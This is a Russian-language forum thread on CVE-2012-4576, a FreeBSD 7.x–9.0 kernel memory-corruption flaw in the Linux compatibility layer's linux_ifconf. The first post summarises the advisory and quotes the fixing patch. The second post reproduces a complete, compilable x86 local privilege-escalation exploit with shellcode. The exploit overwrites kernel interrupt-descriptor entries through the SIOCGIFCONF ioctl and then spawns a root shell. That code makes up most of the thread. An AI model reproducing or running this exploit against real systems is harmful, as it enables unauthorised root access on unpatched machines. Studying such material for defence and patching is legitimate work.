Старый 24.11.2012, 09:16   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию CVE-2012-4576 FreeBSD 7.x - 9.0 linuxelf memory corruption

FreeBSD-SA-12:08.linux


Если ядро FreeBSD поддерживает запуск Linux бинарников, то возможно перезаписать произвольный адрес в ядре.
Уязвимости подвержены все поддерживаемые версии.

Проверка наличия поддержки Linux бинарников:
Код:
# kldstat -m linuxelf
Исправлено:
Код:
Corrected:      2012-11-22 23:15:38 UTC (RELENG_7, 7.4-STABLE)
                2012-11-22 22:52:15 UTC (RELENG_7_4, 7.4-RELEASE-p11)
                2012-11-22 22:52:15 UTC (RELENG_8, 8.3-STABLE)
                2012-11-22 22:52:15 UTC (RELENG_8_3, 8.3-RELEASE-p5)
                2012-11-22 22:52:15 UTC (RELENG_9, 9.1-PRERELEASE)
                2012-11-22 22:52:15 UTC (RELENG_9_0, 9.0-RELEASE-p5)
                2012-11-22 22:52:15 UTC (RELENG_9_1, 9.1-RC1-p1)
                2012-11-22 22:52:15 UTC (RELENG_9_1, 9.1-RC2-p1)
                2012-11-22 22:52:15 UTC (RELENG_9_1, 9.1-RC3-p1)
Уязвимая функция - linux_ifconf (source), которая вызывается функцией linux_ioctl_socket при cmd = LINUX_SIOCGIFCONF.

Дифф: http://svnweb.freebsd.org/base/relen...pathrev=243417

Патч:
Код:
Index: sys/compat/linux/linux_ioctl.c
===================================================================
--- sys/compat/linux/linux_ioctl.c	(revision 242578)
+++ sys/compat/linux/linux_ioctl.c	(working copy)
@@ -2260,8 +2260,9 @@ again:
 
 	ifc.ifc_len = valid_len; 
 	sbuf_finish(sb);
-	memcpy(PTRIN(ifc.ifc_buf), sbuf_data(sb), ifc.ifc_len);
-	error = copyout(&ifc, uifc, sizeof(ifc));
+	error = copyout(sbuf_data(sb), PTRIN(ifc.ifc_buf), ifc.ifc_len);
+	if (error == 0)
+		error = copyout(&ifc, uifc, sizeof(ifc));
 	sbuf_delete(sb);
 	CURVNET_RESTORE();
Т.е. выполнялось копирование результата через memcpy() без проверки места назначения, а значит мы можем указать произвольный адрес в ядре.
С виду, эксплуатация должна быть несложной.

Последний раз редактировалось SynQ; 24.11.2012 в 09:22..
SynQ вне форума   Ответить с цитированием
Старый 14.08.2013, 10:03   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Anderson Eduardo написал эксплойт для x86. Компилировать его в линуксе.

Видео: https://www.youtube.com/watch?v=eKSu1nQRtQg
Эксплойт: https://github.com/andersonc0d3/expl...2-4576-linux.c

Код:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <net/if.h>
#include "structs.h"

#define XBPT_OFFSET  30
#define D 68

void *functions[5];

char *symbols[] = {"Xbpt","Xofl","Xbnd","Xill","Xdna",NULL};
void *idt_xbpt_entry;
char kernelfile[40];

unsigned char trampoline[] = "\xb8\x44\x43\x42\x41"     // mov $0x41424344,%eax
			     "\xff\xe0";		// jmp *%eax

unsigned char gotroot[] = "\xb8\x08\x00\x00\x00"        // mov $0x8,%eax
                          "\x8e\xe0"                    // mov %eax,%fs
                          "\x64\xa1\x00\x00\x00\x00"    // mov %fs:0x0,%eax
                          "\x8b\x40\x04"                // mov 0x4(%eax),%eax
                          "\x8b\x40\x24"                // mov 0x24(%eax),%eax  || mov 0x30(%eax),%eax
                          "\xc7\x40\x04\x00\x00\x00\x00"// movl $0x0,0x4(%eax)
                          "\xc7\x40\x08\x00\x00\x00\x00"// movl $0x0,0x8(%eax)
                          "\x6a\x3b"                    // push $0x3b
                          "\x6a\x3b"                    // push $0x3b
                          "\x6a\x3b"                    // push $0x3b
                          "\x0f\xa1"                    // pop %fs
                          "\x07"                        // pop %es
                          "\x1f"                        // pop %ds
                          "\x6a\x3b"                    // push $0x3b           #ss
                          "\x68\x60\xeb\xbf\xbf"        // push $0xbfbfeb60     #esp
                          "\x68\x86\x02\x00\x00"        // push $0x286          #eflags
                          "\x6a\x33"                    // push $0x33           #cs
                          "\x68\x44\x42\x42\x41"        // push $0x41424344     #eip
                          "\xcf";			// iret

int get_sysctl_value(char *mib, char *buffer){
	char command[40];
	FILE *f;
	int ret;
	
	memset(command,'\0',sizeof(command));
	sprintf(command,"sysctl -n %s",mib);

	f = popen(command,"r");
	ret = fscanf(f,"%s",buffer);
	pclose(f);
	if(ret != 1)
		return -1;
return 0;
}

void *get_sym(char *name){
	FILE *f;
	void *addr;
	char shit;
	char symbol[50];
	char command[512];
	int ret;

	memset(symbol,'\0',sizeof(symbol));
	memset(command,'\0',sizeof(command));

	sprintf(command, "nm %s|grep -w \"%s\"",kernelfile,name);

	f = popen(command, "r");

	ret = fscanf(f, "%p %c %s", &addr, &shit, symbol);
        pclose(f);

	if(ret != 3)
		return NULL;

	if (!strcmp(name, symbol)){
		return addr;
	}

return NULL;
}

void kernel_code(void){
	void (*func)(void);
	int i = 0;

        setidt(IDT_BP, functions[i++],  SDT_SYS386IGT, SEL_UPL,GSEL(GCODE_SEL, SEL_KPL));
        setidt(IDT_OF, functions[i++],  SDT_SYS386TGT, SEL_UPL,GSEL(GCODE_SEL, SEL_KPL));
        setidt(IDT_BR, functions[i++],  SDT_SYS386TGT, SEL_KPL,GSEL(GCODE_SEL, SEL_KPL));
        setidt(IDT_UD, functions[i++],  SDT_SYS386TGT, SEL_KPL,GSEL(GCODE_SEL, SEL_KPL));
        setidt(IDT_NM, functions[i],  SDT_SYS386TGT, SEL_KPL,GSEL(GCODE_SEL, SEL_KPL));
        setidt(IDT_DF, 0,SDT_SYSTASKGT, SEL_KPL, GSEL(GPANIC_SEL, SEL_KPL));

        func = (void *)gotroot;
        func();
}

void done(void){

	if(getuid() == 0){
		fprintf(stdout,"[*] done!\n");
		execl("/bin/sh", "sh", NULL);
	}
	else{
		fprintf(stderr,"[*] failed!\n");
	}
}

//Taken from http://www.techpulp.com/blog/2008/10/get-list-of-interfaces-using-siocgifconf-ioctl/

int get_iface_list(struct ifconf *ifconf){
	int sock;

	sock = socket(AF_INET,SOCK_STREAM,0);

	if(sock < 0){
		fprintf(stderr,"[!] failed to create a socket\n");
		return (EXIT_FAILURE);
	}

	if(ioctl(sock, SIOCGIFCONF , (char*) ifconf  ) < 0 ){ //Triggering
		fprintf(stderr,"[!] failed to call ioctl\n");
		exit(EXIT_FAILURE);
	}

	close(sock);

return 0;
}

int main(void){
	struct ifreq ifreqs;
	struct ifconf ifconf;
	char version[40];
	void *addr;
	void *src;
	int i,a;

	if(get_sysctl_value("kern.bootfile",kernelfile) != 0){
		fprintf(stderr,"[!] failed to get kernel filename\n");
		exit(EXIT_FAILURE);
	}	

	fprintf(stdout,"[*] kernelfile: %s\n",kernelfile);

	if(get_sysctl_value("kern.osrelease",version) != 0){
		fprintf(stderr,"[!] failed to get freebsd version\n");
		exit(EXIT_FAILURE);
	}

	fprintf(stdout,"[*] FreeBSD: %c\n",version[0]);

        if((idt = (struct gate_descriptor *)get_sym("idt0")) == NULL){
		fprintf(stderr,"[!] failed to resolve: idt0\n");
		exit(EXIT_FAILURE);
	}

        idt_xbpt_entry = (char *)idt + XBPT_OFFSET;

	for(i = 0; symbols[i] != NULL; i++){
		if((functions[i] = get_sym(symbols[i])) == NULL){
			fprintf(stderr,"[!] failed to resolve: %s\n",symbols[i]);
			exit(EXIT_FAILURE);
		}
		else{
			fprintf(stdout,"[*] %s: %p\n",symbols[i],functions[i]);
		}
	}

	memset(&ifconf,'\0',sizeof(ifconf));

	ifconf.ifc_buf = (caddr_t ) &ifreqs;
	ifconf.ifc_len = sizeof(struct ifreq);

	get_iface_list(&ifconf);

	fprintf(stdout,"[*] interface: %s\n",ifreqs.ifr_name);

	a = ifreqs.ifr_name[1];
	a = a << 8;
	a = a | ifreqs.ifr_name[0];
	a = a << 16;

	src = kernel_code;
	addr = memchr(trampoline,D,sizeof(trampoline));

	if(addr != NULL){
		memcpy(addr,&src,4);
	}
	else{
		fprintf(stderr,"[!] can't change the trampoline code\n");
		exit(EXIT_FAILURE);
	}

        src = done;
        addr = (void *)memrchr(gotroot,D,sizeof(gotroot));

        if(addr != NULL){
                memcpy(addr,&src,4);
		if(version[0] < '8')
			gotroot[18] = '\x30';
        }
        else{
                fprintf(stderr,"[!] can't change the gotroot code\n");
                exit(EXIT_FAILURE);
        }

	addr = (void *)(a | ((int)functions[0] & 0xffff));

	fprintf(stdout,"[*] address: %p\n",addr);

        if(mmap((void *)((int )addr & ~(4096-1)), 4096, PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0) == MAP_FAILED) {
                fprintf(stderr,"[!] can't map the address %p\n",addr);
                exit(EXIT_FAILURE);
        }

	memcpy((void *)addr,trampoline,sizeof(trampoline));

	memset(&ifconf,0,sizeof(ifconf));

	ifconf.ifc_buf = idt_xbpt_entry;
	ifconf.ifc_len = sizeof(ifreqs);

	get_iface_list(&ifconf);
	asm("int3");

return 0;
}
structs.h:
Код:
#define GSEL(s,r)       (((s)<<3) | r)  /* a global selector */
#define SEL_KPL 	0               /* kernel priority level */
#define SEL_UPL 3               	/* user priority level */
#define SDT_SYS386IGT   14      	/* system 386 interrupt gate */
#define SDT_SYS386TGT   15      	/* system 386 trap gate */
#define SDT_SYSTASKGT    5      	/* system task gate */
#define GCODE_SEL       4       	/* Kernel Code Descriptor (order critical: 1) */
#define IDT_BP          3       	/* #BP: Breakpoint */
#define IDT_OF          4       	/* #OF: Overflow */
#define IDT_BR          5       	/* #BR: Bound Range Exceeded */
#define IDT_UD          6       	/* #UD: Undefined/Invalid Opcode */
#define IDT_NM          7       	/* #NM: No Math Coprocessor */
#define IDT_DF          8       	/* #DF: Double Fault */
#define GPANIC_SEL      12      	/* Task state to consider panic from */

typedef void inthand_t(u_int cs, u_int ef, u_int esp, u_int ss);

struct  gate_descriptor {
        unsigned gd_looffset:16 ;       /* gate offset (lsb) */
        unsigned gd_selector:16 ;       /* gate segment selector */
        unsigned gd_stkcpy:5 ;          /* number of stack wds to cpy */
        unsigned gd_xx:3 ;              /* unused */
        unsigned gd_type:5 ;            /* segment type */
        unsigned gd_dpl:2 ;             /* segment descriptor priority level */
        unsigned gd_p:1 ;               /* segment descriptor present */
        unsigned gd_hioffset:16 ;       /* gate offset (msb) */
};

struct gate_descriptor *idt;

void setidt(idx, func, typ, dpl, selec)
        int idx;
        inthand_t *func;
        int typ;
        int dpl;
        int selec;
{
        struct gate_descriptor *ip;

        ip = idt + idx;
        ip->gd_looffset = (int)func;
        ip->gd_selector = selec;
        ip->gd_stkcpy = 0;
        ip->gd_xx = 0;
        ip->gd_type = typ;
        ip->gd_dpl = dpl;
        ip->gd_p = 1;
        ip->gd_hioffset = ((int)func)>>16 ;
}

Последний раз редактировалось SynQ; 14.08.2013 в 15:54..
SynQ вне форума   Ответить с цитированием
Старый 14.08.2013, 14:37   #3
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

> Вы должны добавить отзыв кому-то ещё, прежде чем сможете снова добавить его SynQ.
12309 вне форума   Ответить с цитированием
Ответ

Метки
freebsd, kernel, memory corruption, privilege escalation

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot